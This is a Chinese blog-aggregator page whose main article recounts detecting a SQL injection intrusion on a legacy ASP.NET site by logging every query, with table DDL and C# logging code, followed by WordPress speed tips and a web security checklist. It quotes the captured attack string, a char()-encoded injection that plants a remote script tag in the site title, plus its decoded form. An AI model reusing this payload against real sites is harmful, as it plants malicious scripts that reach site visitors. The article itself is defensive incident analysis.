网站性能优化sql,记一次成功的sql注入入侵检测附带sql性能优化

seo基础     2020-12-29    浏览:0

记一次成功的sql注入入侵检测附带sql性能优化
但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序,那么你会非常痛苦,例如我遇到的问题:
问题1.
老板对你说,以前刚做完网站好好了,没有出现木马,怎么你来了,就会出现木马,先别说了,赶紧解决问题,我彻底无语,但是如果争吵,其实证明你和老板一样无知,拿出证据和事实分析来让公司其他稍微懂技术的一起来证明,公司网站被挂马不是你来了的错。
如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇 Fckeditor使用笔记 ,其实很多人都遇到过,也解决过,都是小问题,但是让你老板明白比解决漏洞问题更蛋疼,我那解释的叫一个汗啊,恨不得把公司所有稍微懂点技术的都叫上让他们看什么是大马什么是小马,然后演示怎么上传木马,奶奶的,黑客教程普及啊。
问题2.
网站又出现问题,上次的问题解决了不过两个月,网站又被入侵挂马,如是老板这次再说因为我来了才出问题,立马走人,这就是为什么不能更不懂技术的人硬碰硬,更不能和你的老板来说,说了你又不懂。
但是要命的是网站是以前的技术开发的二等残废,在别个的cms上修改的,我必须保证网站在的开发的同时旧的模块还可以使用,通过逐步更新的方法将网站底层翻新,但是那么多页面,你很难一个一个去检测那个页面有漏洞,如是写出下面的检测代码,没想到这么简单的就搞定了,并且可以通过此方法优化你的sql。
第一步建立一个sql日志表
复制代码 代码如下:
CREATE TABLE [dbo].[my_sqllog](
[id] [bigint] IDENTITY(1,1) NOT NULL,
[hit] [bigint] NULL,
[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[begintime] [datetime] NULL,
[endtime] [datetime] NULL,
[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
[lastelapsedtime] [bigint] NULL,
ConSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

记录sql语句、此sql语句被执行次数,参数及值,记录开始时间,结束时间,来自哪个页面,ip和此条语句执行时间(暂时没用)
第二步在sqlhelper里写记录代码
两个方法本来可以写成private的,但是此二等残废的网站其他地方用的别的sqlhelper类,就直接调用此处通过合理优化的sqlhelper类的方法了。
代码1:插入日志
复制代码 代码如下:
public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
{
#region 参数处理
string colums = "";
string dbtypes = "";
string values = "";
string paramdetails = "";
if (cmdParams != null && cmdParams.Length > 0)
{
foreach (DbParameter param in cmdParams)
{
if (param == null)
{
continue;
}
colums += param.ParameterName + " ";
dbtypes += param.DbType + " ";
values += param.Value + ";";
}
paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
}
string fromurl = "";
if (System.Web.HttpContext.Current!=null)
{
fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
}
// commandText = commandText.Replace(""","‘").Replace(";",";");
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@hit",1),
new SqlParameter("@sqltext",commandText),
new SqlParameter("@paramdetails",paramdetails),
new SqlParameter("@begintime",DateTime.Now),
new SqlParameter("@endtime",DateTime.Now),
new SqlParameter("@fromurl",fromurl),
new SqlParameter("@ip",Web.PressRequest.GetIP()),
new SqlParameter("@lastelapsedtime",0),
};
#endregion
using (DbConnection connection = Factory.CreateConnection())
{
connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;
string sql = "";
// 执行DbCommand命令,并返回结果.
int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
"select top 1 id from my_sqllog where sqltext=@sqltext",
new SqlParameter("@sqltext", commandText)));
if (id > 0)
{
sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
}
else
{
sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
}
// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
// 执行DbCommand命令,并返回结果.
int retval = cmd.ExecuteNonQuery();
// 清除参数,以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}

代码2:判断此条sql是否存在
复制代码 代码如下:
private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
// 创建并打开数据库连接对象,操作完成释放对象.
using (DbConnection connection = Factory.CreateConnection())
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// 执行DbCommand命令,并返回结果.
object retval = cmd.ExecuteScalar();
// 清除参数,以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}

第三部在你的每个执行sql语句的方法里加入以下代码,不管是ExecuteScalar、ExecuteReader还是ExecuteNonQuery等等都加上
复制代码 代码如下:
//执行sql之前进行日志记录操纵
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);

代码示例:
复制代码 代码如下:
public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
//执行sql之前进行日志记录操纵
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
// 执行DbCommand命令,并返回结果.
object retval = cmd.ExecuteScalar();
// 清除参数,以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}

然后你会发现入侵的入口被记录下来了,后面方框里的就是构造注入的sql

构造sql如下:

39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
转码后变成这样了:  

update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+"</title><script src=http://jb51.net/ur.php></script>")
这个就是木马地址,没事你就别点了,好奇害死猫。

小结:
既然知道入口就知道怎么补救了吧,把string类型该过滤的都过滤掉,int类型的就得是int类型,别让数据库替你隐式转。通过此sql日志记录,你应该发现一点那个hit还是有点价值的。
通过select top 100 * from my_sqllog order by hit desc
你会发现你写的那么多sql原来真垃圾,在条件允许的情况下干嘛不把它放到缓存里。所以后来我写的sql基本不在这top 100里。
抛砖引玉,望高手批评,以上入侵方法希望刚学习做程序员的同学不要用来欺负小网站,伤不起。
作者:jqbird


数据库性能优化有哪些措施?
1、分散数据文件,可以提高读写效率:可以建立多个数据文件,把索引放到独立的文件中等。2、及时转储历史数据,提高写性能。3、优化程序的SQL语句,有时候,数据库调半天,还不如优化一、二条关键的SQL语句有效。
WordPress网站性能优化指南

1.选择一个好的主机

尽量不要使用免费主机或者共享主机(Godaddy啊、Bluehost啊等等所谓无限带宽、无限网站之类的主机)
首先,你的域名和你的主机最好在一个IDC哪儿,如果不是的话,建议你采用口碑良好的DNS服务商,让域名以最快的速度解析到主机上,这不是重点,重点是你的服务器/主机空间应该够快,怎么才能够快呢?CPU的配置、CPU的使用率、物理内存的大小、磁盘类型以及磁盘的I/O性能(包括Mysql数据库服务器所用磁盘)、Mysql响应速度以及Mysql并发数等等,都会影响到网站的快与不快,并且是物理性的影响。

2.选择一个更快的主题

什么样的主题才能更快呢?直观来看,包含尽量少的php、js、css和字体(字体或图标字体)文件的主题性能会好些。从代码来看,编码合理并在正确的页面载入正确的文件的主题会好些。

3.选择一个缓存插件

推荐使用 W3 Total Cache 或者 WP Super Cache ,都是免费的,但是都很好使,我个人更喜欢W3 Total Cache,因为它支持:页面缓存、HTML压缩、对象缓存、数据库缓存、客户端浏览器缓存、以及CDN。

4.使用个CDN

国外的话,CloudFlare不错;国内的话,加速乐不错。

5.启用Gzip

如果服务器支持,就启用Gzip,上述缓存插件W3 Total Cache就支持你启用这个。

6. 使用编码良好的插件

WordPress有着数不清的插件,但并非所有插件的代码都是编码良好的,这就需要你确定下哪些插件是适合你的了。最直观的办法是:当你从Wordpress插件目录安装一个3星以下的插件的时候,你应该仔细了解下它的代码情况了!怎么了解呢?

7. 要注意及时更新你的主题和插件

及时的更新自己所用的WordPress主题和插件,不仅能提高自己的Wordpress网站的安全性,而且有些更新是针对性能的,这样就会在性能上有所提升的。

8.优化数据库

你可以使用 WP-Optimize 或者 WP-DBManager 之类的插件来优化自己的数据库,这些插件能够删除那些未经审核的垃圾评论,那些回收站中的文章,那些自动保存的草稿或者文章的回滚版本等。当然了,最好的方式是你能自己访问你的数据库并执行SQL语句来进行这些操作,如果你觉得自己对SQL和Wordpress都够熟悉的话。

9. 优化上传的图片

对于任何一个网站来说,图片都是页面上比较重要的元素了,但是你的图的大小要与你使用这张图的最大的容器的尺寸相匹配,而不是原生态的P一张图或者一张照片就直接上传了。举个例子来说:你要上传一张图,这张图所在的最大容器宽度是948px,这张图本身的宽度是1600px,你应该处理下这张图,让它的最大宽度是948px就行,这样能显著提高该图所在网页的载入速度,缩短载入时间并节约服务器资源和带宽。

另外一种情况是:你上传的图的最大宽度和你所用改图的最大容器的宽度一致,这种情形下,建议你用Smush.it 以及基于它的Wordpress插件来处理一下上传的图片,当然了,你也可以使用类似于 无损图片压缩大师 之类的桌面软件(图片压缩软件推荐)或jpegmini 之类的在线网站来压缩你的图片。


如何对网站进行性能优化
一、删除功能:重要数据伪删除,删除校验用户(避免A用户可以删除任何人数据)。文件上传预览删除功能不能做服务器文件删除,不要为了节省服务器资源给用户留下接口。如果要资源有限,那么在删除的时候也需要做用户校验(文件命名或文件路径关联用户ID等)
二、发短信:基本上没有人愿意自己和短信运营商直接对接短信业务,一般都是通过第三方短信服务商购买短信。在用户主动获取短信的时候前端做图片验证码校验,后端做发送量,发送间隔校验(图片验证码是可以被机识别的)。做短信日志记录,这些日志可以为前面的后台校验提供数据,系统运行期间的各种好处就不一一举例了。重要功能做语音验证码,比如注册送现金的活动,短信验证码可以被识别
三、页面数据获取:用户平凡的刷新数据会加大服务器压力,当然谁也挡不住用户刷新是吧,但是减少主动刷新次数也是一个减小服务器压力的方法,咱不能自己坑自己吧,(Table页切换做校验,有数据就不再拉取等等)
四、前端静态资源做CDN,可以提高用户访问速度,减少服务器压力
五、用户输入做SQL注入,javascript脚本注入
六、用到的Ajax请求:做ajax加拦截器,通过消息头过滤掉非ajax的地址栏访问,(谁然不一定能全部拦截,但是拦掉一部分小白还是可以得,总不能是个人就能攻击吧)
七、用户输入数据校验,输入文字长度,数字输入大小,int 、long等数据类型合理使用,(积分兑换的时候用户只有1积分,你让他输入兑换积分,你输入21000000000,int 接收的时候,超出了范围成了负数1永远大于负数),还有一点很重要,你的任何校验都不要依靠前端,毕竟前端是为用户的体验而生的,为了自己的安全还是多写点后台校验吧,
八、异常捕获:不要将异常信息抛给用户,首先不美观,其次这些错误信息中可能含有SQL错误,通过这些sql可以了解到你的数据库结构
九、前端数据获取的时候减少不必要字段输出,java面向对象,表数据面向对象,本来页面只需要两个数据,结果你返回了一个实体,前端可已查看到你数据库表结构,多看几个页面那么你的数据库设计就给了人家了呢
十、用户信息加密传输,一定不要把重要数据留在客户端,泄密重要信息的责任是要你承担的哦
十一、 现在越来越多人使用阿里云服务器,做客户项目的时候服务器是客户购买的,当然阿里云账户客户也有,你的配置文件不加密客户就能看见你的系统配置,结合上面的搞搞你的数据库,那你的产品还有什么秘密,至于代码,你觉得他值钱么
十二、 前端JS 脚本 和页面分离,压缩或加密,不要你的团队幸幸苦苦开发的唯美的页面和效果,被人家一个ctrl+s拿去回家研究了,何况你的js中还有大量的逻辑
十三、 线程安全:
1、synchronized同步 (有序性、可见性),
2、使用生产者消费者模式,(唤醒notify(),等待wait())
3、volatile同步(可见性,非有序性,只在无基础数据的赋值操作,直接操作主内存,减少主内存复制到工作内存的cpu消耗)
十四、 数据库读写分离的时候要注意个别业务读也要读在主库上(避免主从同步失败或延时)

相关搜索

相似文章

十年DBA老兵:警惕,重Java轻SQL乃性能大忌 2020-12-29

一次非常有意思的 SQL 优化经历 2020-12-29

如何对网站进行sql优化,怎样进行sql数据库的优化 2020-12-29

网站首页sql怎么优化的,怎样进行sql数据库的优化 2020-12-29

数据库优化后如何体应用于网站,怎样进行sql数据库的优化 2020-12-29

大数据网站优化,sql?查询逻辑简单?表数据量大?怎样优化? 2020-12-29

sql2005安装图解,sql2005安装图解 2020-12-29

seo优化通配符,sql数据库,优化,通配符 2020-12-29

seo和SQL,sql2005?怎么删除user表中的seo字段为1同时ammot字段为0.000的所有数据 2020-12-29

vs数据库网站界面优化,VS2010中用C#制作网站登录界面时如何连接数据库SQL2005 2020-12-29